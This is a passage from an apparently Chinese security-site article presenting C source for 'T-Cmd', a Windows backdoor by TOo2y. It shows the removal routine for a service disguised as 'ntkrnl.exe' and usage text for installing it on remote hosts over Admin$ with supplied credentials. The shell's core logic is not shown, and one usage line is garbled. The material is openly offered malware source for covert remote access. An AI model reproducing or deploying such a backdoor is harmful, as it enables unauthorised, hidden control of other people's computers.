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作者:TOo2y 来源:中华安全网 2008年1月5日
关键字: 后门技术 服务 Windows Windows xp
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWord dwErrorCode;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is DenIEd !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}
void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] printf(" T-Cmd -Remove [RemoteHost] printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}
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